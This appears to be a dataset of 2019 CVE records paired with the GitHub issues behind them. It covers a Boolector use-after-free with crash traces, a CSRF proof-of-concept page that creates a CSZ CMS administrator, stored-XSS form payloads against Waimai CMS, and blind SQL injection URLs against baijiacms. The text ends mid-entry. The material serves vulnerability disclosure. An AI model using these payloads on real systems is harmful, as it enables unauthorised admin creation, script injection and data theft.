0x4C2FA3F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==25740== by 0x4C31D84: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==25740== by 0x1D906D: btor_mem_realloc (in /home/user/boolector-plain) ==25740== by 0x12B1B2: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==25740== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==25740== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==25740== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==25740== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==25740== by 0x541AB96: (below main) (libc-start.c:310) ==25740== ==25740== Invalid free() / delete / delete[] / realloc() ==25740== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==25740== by 0x14BC8E: btor_delete (in /home/user/boolector-plain) ==25740== by 0x127EC9: boolector_main (in /home/user/boolector-plain) ==25740== by 0x541AB96: (below main) (libc-start.c:310) ==25740== Address 0x580a420 is 0 bytes inside a block of size 8 free'd ==25740== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==25740== by 0x1CA705: read_command_smt2 (in /home/user/boolector-plain) ==25740== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==25740== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==25740== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==25740== by 0x541AB96: (below main) (libc-start.c:310) ==25740== Block was alloc'd at ==25740== at 0x4C2FA3F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==25740== by 0x4C31D84: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==25740== by 0x1D906D: btor_mem_realloc (in /home/user/boolector-plain) ==25740== by 0x12B1B2: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==25740== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==25740== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==25740== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==25740== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==25740== by 0x541AB96: (below main) (libc-start.c:310) ==25740== ==25740== ==25740== HEAP SUMMARY: ==25740== in use at exit: 0 bytes in 0 blocks ==25740== total heap usage: 1,193 allocs, 1,194 frees, 47,978 bytes allocated ==25740== ==25740== All heap blocks were freed -- no leaks are possible ==25740== ==25740== For counts of detected and suppressed errors, rerun with: -v ==25740== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0) ``` </details> Used version ``` $ boolector --version 3.0.1-pre ``` Steps to reproduce ``` boolector btor_delete.txt ```

Use After Free in btor_delete

https://api.github.com/repos/Boolector/boolector/issues/28/comments

1

2019-01-15T17:10:27Z

2019-01-15T19:08:49Z

https://github.com/Boolector/boolector/issues/28

399,446,611

28

147

CVE-2019-7560

2019-02-07T07:29:00.487

In parser/btorsmt2.c in Boolector 3.0.0, opening a specially crafted input file leads to a use after free in get_failed_assumptions or btor_delete.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 5.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 1.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/28" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/29" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/28" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/Boolector/boolector/issues/29" } ]

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[ "416" ]

416

https://github.com/Boolector/boolector/issues/29

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "Boolector", "boolector" ]

While fuzzing boolector, <details> <summary>this input file</summary> ``` (assert#b0) (check-sat) (get-unsat-assumptions) (get-unsat-assumptions) ``` </details> was found, which leads to a use after free in get_failed_assumptions. The input file looks like this is related to #28, but the backtrace produced by ASAN is different, which is why this is filed as a separate issue. The attached file contains more lines leading to the same crash, the above file contains the minimal version. - [boolector_get_failed_assumptions.txt](https://github.com/Boolector/boolector/files/2760732/boolector_get_failed_assumptions.txt) - [boolector_get_failed_assumptions.asan.txt](https://github.com/Boolector/boolector/files/2760731/boolector_get_failed_assumptions.asan.txt) - [boolector_get_failed_assumptions.valgrind.txt](https://github.com/Boolector/boolector/files/2760733/boolector_get_failed_assumptions.valgrind.txt) <details> <summary>ASAN trace</summary> ``` ================================================================= ==9780==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000009710 at pc 0x00000052bd1c bp 0x7ffd2e8c9eb0 sp 0x7ffd2e8c9ea8 READ of size 8 at 0x602000009710 thread T0 #0 0x52bd1b in boolector_get_failed_assumptions /home/user/boolector-master/src/boolector.c:624:12 #1 0x6851db in read_command_smt2 /home/user/boolector-master/src/parser/btorsmt2.c:4700:28 #2 0x682a27 in parse_smt2_parser /home/user/boolector-master/src/parser/btorsmt2.c:4828:10 #3 0x5a033a in parse_aux /home/user/boolector-master/src/btorparse.c:68:15 #4 0x59f55a in btor_parse /home/user/boolector-master/src/btorparse.c:230:9 #5 0x52531e in boolector_main /home/user/boolector-master/src/btormain.c:1454:19 #6 0x7f53f5a65b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 #7 0x4367a9 in _start (/home/user/boolector-asan+0x4367a9) 0x602000009710 is located 0 bytes inside of 8-byte region [0x602000009710,0x602000009718) freed by thread T0 here: #0 0x4e5bc8 in __interceptor_free.localalias.0 (/home/user/boolector-asan+0x4e5bc8) #1 0x68525b in read_command_smt2 /home/user/boolector-master/src/parser/btorsmt2.c:4706:7 #2 0x682a27 in parse_smt2_parser /home/user/boolector-master/src/parser/btorsmt2.c:4828:10 #3 0x5a033a in parse_aux /home/user/boolector-master/src/btorparse.c:68:15 #4 0x59f55a in btor_parse /home/user/boolector-master/src/btorparse.c:230:9 #5 0x52531e in boolector_main /home/user/boolector-master/src/btormain.c:1454:19 #6 0x7f53f5a65b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 previously allocated by thread T0 here: #0 0x4e61a5 in realloc (/home/user/boolector-asan+0x4e61a5) #1 0x6cd24e in btor_mem_realloc /home/user/boolector-master/src/utils/btormem.c:104:12 #2 0x52bc11 in boolector_get_failed_assumptions /home/user/boolector-master/src/boolector.c:633:3 #3 0x6851db in read_command_smt2 /home/user/boolector-master/src/parser/btorsmt2.c:4700:28 #4 0x682a27 in parse_smt2_parser /home/user/boolector-master/src/parser/btorsmt2.c:4828:10 #5 0x5a033a in parse_aux /home/user/boolector-master/src/btorparse.c:68:15 #6 0x59f55a in btor_parse /home/user/boolector-master/src/btorparse.c:230:9 #7 0x52531e in boolector_main /home/user/boolector-master/src/btormain.c:1454:19 #8 0x7f53f5a65b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310 SUMMARY: AddressSanitizer: heap-use-after-free /home/user/boolector-master/src/boolector.c:624:12 in boolector_get_failed_assumptions Shadow bytes around the buggy address: 0x0c047fff9290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff92a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff92b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff92c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff92d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff92e0: fa fa[fd]fa fa fa 00 fa fa fa fd fd fa fa fd fa 0x0c047fff92f0: fa fa fd fd fa fa fd fd fa fa fd fa fa fa fd fa 0x0c047fff9300: fa fa fd fa fa fa fd fa fa fa 04 fa fa fa 04 fa 0x0c047fff9310: fa fa 05 fa fa fa 03 fa fa fa 06 fa fa fa 06 fa 0x0c047fff9320: fa fa 00 01 fa fa 00 01 fa fa 00 01 fa fa 00 01 0x0c047fff9330: fa fa 00 fa fa fa 06 fa fa fa 07 fa fa fa 07 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==9780==ABORTING ``` </details> <details> <summary>Valgrind trace</summary> ``` ==9802== Memcheck, a memory error detector ==9802== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al. ==9802== Using Valgrind-3.13.0 and LibVEX; rerun with -h for copyright info ==9802== Command: ./boolector-plain boolector_get_failed_assumptions.txt ==9802== ==9802== Invalid read of size 8 ==9802== at 0x12B0AD: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==9802== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Address 0x5809830 is 0 bytes inside a block of size 8 free'd ==9802== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1CA705: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Block was alloc'd at ==9802== at 0x4C2FA3F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x4C31D84: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1D906D: btor_mem_realloc (in /home/user/boolector-plain) ==9802== by 0x12B1B2: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==9802== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== ==9802== Invalid free() / delete / delete[] / realloc() ==9802== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x12B10A: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==9802== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Address 0x5809830 is 0 bytes inside a block of size 8 free'd ==9802== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1CA705: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Block was alloc'd at ==9802== at 0x4C2FA3F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x4C31D84: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1D906D: btor_mem_realloc (in /home/user/boolector-plain) ==9802== by 0x12B1B2: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==9802== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== ==9802== Invalid read of size 8 ==9802== at 0x14BC53: btor_delete (in /home/user/boolector-plain) ==9802== by 0x127EC9: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Address 0x5809880 is 0 bytes inside a block of size 8 free'd ==9802== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1CA705: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Block was alloc'd at ==9802== at 0x4C2FA3F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x4C31D84: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1D906D: btor_mem_realloc (in /home/user/boolector-plain) ==9802== by 0x12B1B2: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==9802== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== ==9802== Invalid free() / delete / delete[] / realloc() ==9802== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x14BC8E: btor_delete (in /home/user/boolector-plain) ==9802== by 0x127EC9: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Address 0x5809880 is 0 bytes inside a block of size 8 free'd ==9802== at 0x4C30D3B: free (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1CA705: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== Block was alloc'd at ==9802== at 0x4C2FA3F: malloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x4C31D84: realloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so) ==9802== by 0x1D906D: btor_mem_realloc (in /home/user/boolector-plain) ==9802== by 0x12B1B2: boolector_get_failed_assumptions (in /home/user/boolector-plain) ==9802== by 0x1CA6D2: read_command_smt2 (in /home/user/boolector-plain) ==9802== by 0x1CC289: parse_smt2_parser (in /home/user/boolector-plain) ==9802== by 0x16C6FD: btor_parse (in /home/user/boolector-plain) ==9802== by 0x128F87: boolector_main (in /home/user/boolector-plain) ==9802== by 0x541AB96: (below main) (libc-start.c:310) ==9802== ==9802== ==9802== HEAP SUMMARY: ==9802== in use at exit: 0 bytes in 0 blocks ==9802== total heap usage: 1,164 allocs, 1,166 frees, 46,991 bytes allocated ==9802== ==9802== All heap blocks were freed -- no leaks are possible ==9802== ==9802== For counts of detected and suppressed errors, rerun with: -v ==9802== ERROR SUMMARY: 4 errors from 4 contexts (suppressed: 0 from 0) ``` </details> Used version ``` $ boolector --version 3.0.1-pre ``` Steps to reproduce ``` boolector boolector_get_failed_assumptions.txt ```

Use after Free in get_failed_assumptions

https://api.github.com/repos/Boolector/boolector/issues/29/comments

1

2019-01-15T17:28:35Z

2019-01-15T19:08:43Z

https://github.com/Boolector/boolector/issues/29

399,453,810

29

148

CVE-2019-7566

2019-02-07T07:29:00.550

CSZ CMS 1.1.8 has CSRF via admin/users/new/add.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cskaza/cszcms/issues/17" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cskaza/cszcms/issues/17" } ]

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[ "352" ]

352

https://github.com/cskaza/cszcms/issues/17

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cskaza", "cszcms" ]

After the administrator logged in, open the following page poc： one.html---add a administrator ```<html>  <body> <script>history.pushState('', '', '/')</script> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http:\/\/localhost\/cszcms-master\/admin\/users\/new\/add", true); xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarykobVwTQR7Qxut2B0"); xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8"); xhr.withCredentials = true; var body = "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"csrf_csz\"\r\n" + "\r\n" + "f34972c37ae66af1cf3355b95a25e347\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"name\"\r\n" + "\r\n" + "test3\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"email\"\r\n" + "\r\n" + "test3@test3.com\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"password\"\r\n" + "\r\n" + "test3\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"con_password\"\r\n" + "\r\n" + "test3\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"group\"\r\n" + "\r\n" + "1\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"active\"\r\n" + "\r\n" + "1\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"first_name\"\r\n" + "\r\n" + "te\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"last_name\"\r\n" + "\r\n" + "st\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"year\"\r\n" + "\r\n" + "1929\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"month\"\r\n" + "\r\n" + "02\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"day\"\r\n" + "\r\n" + "02\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"gender\"\r\n" + "\r\n" + "male\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"address\"\r\n" + "\r\n" + "123\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"phone\"\r\n" + "\r\n" + "15826597895\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"file_upload\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0\r\n" + "Content-Disposition: form-data; name=\"submit\"\r\n" + "\r\n" + "Save\r\n" + "------WebKitFormBoundarykobVwTQR7Qxut2B0--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html>```

There is one CSRF vulnerability that can add the administrator account

https://api.github.com/repos/cskaza/cszcms/issues/17/comments

1

2019-01-17T02:13:39Z

2019-04-30T13:36:50Z

https://github.com/cskaza/cszcms/issues/17

400,080,902

17

149

CVE-2019-7567

2019-02-07T07:29:00.583

An issue was discovered in Waimai Super Cms 20150505. admin.php?m=Member&a=adminaddsave has XSS via the username or password parameter.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/caokang/waimai/issues/10" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/caokang/waimai/issues/10" } ]

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[ "79" ]

79

https://github.com/caokang/waimai/issues/10

[ "Exploit", "Third Party Advisory" ]

github.com

[ "caokang", "waimai" ]

0x01 Presence address POST /waimai/admin.php?m=Member&a=adminaddsave 0x02 data pack POST /waimai/admin.php?m=Member&a=adminaddsave HTTP/1.1 Host: localhost:88 Content-Length: 412 Cache-Control: max-age=0 Origin: http://localhost:88 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12EpjMi6RL4SqCWi Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Referer: http://localhost:88/waimai/admin.php?m=Member&a=adminadd Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: _pendo_meta.77c79869-0135-481b-7c93-53f43e8ae3d8=1241925494; __tins__16868462=%7B%22sid%22%3A%201546794316294%2C%20%22vd%22%3A%201%2C%20%22expires%22%3A%201546796116294%7D; __51cke__=; __51laig__=1; PHPSESSID=hclfhhk6pd5rs06kh79je9emh7X Connection: close ------WebKitFormBoundary12EpjMi6RL4SqCWi Content-Disposition: form-data; name="username" '><script>alert(1)</script> ------WebKitFormBoundary12EpjMi6RL4SqCWi Content-Disposition: form-data; name="password" '><script>alert(1)</script> ------WebKitFormBoundary12EpjMi6RL4SqCWi Content-Disposition: form-data; name="repassword" '><script>alert(1)</script> ------WebKitFormBoundary12EpjMi6RL4SqCWi-- 0x03 Proof screenshot 截图见: https://i.loli.net/2019/01/07/5c32e807db503.png

There are Storage type xss vulnerabilities in the add administrator

https://api.github.com/repos/caokang/waimai/issues/10/comments

0

2019-01-07T05:48:22Z

https://github.com/caokang/waimai/issues/10

396,355,984

10

150

CVE-2019-7568

2019-02-07T07:29:00.613

An issue was discovered in baijiacms V4 that can result in time-based blind SQL injection to get data via the cate parameter in an index.php?act=index request.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/baijiacms/baijiacmsV4/issues/2" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/baijiacms/baijiacmsV4/issues/2" } ]

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[ "89" ]

89

https://github.com/baijiacms/baijiacmsV4/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "baijiacms", "baijiacmsV4" ]

0x1:description Two time-based SQL blinds to get data。 0x02:POC First: http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383 second: http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&page=1&_=1546926470383 0x03:description request the url: http://127.0.0.1:88/baijiacmsv4-master/index.php?act=index&beid=1&by=&cate=(select(0)from(select(sleep(0)))v)/*'%2b(select(0)from(select(sleep(0)))v)%2b'%22%2b(select(0)from(select(sleep(0)))v)%2b%22*/&do=goods&isdiscount=&ishot=&isnew=&isrecommand=&issendfree=&istime=&keywords=&m=eshop&merchid=&mod=mobile&op=get_list&order=&page=1&_=1546926470383 No time delay Screenshot: https://i.loli.net/2019/01/08/5c344a7845064.png request the url: 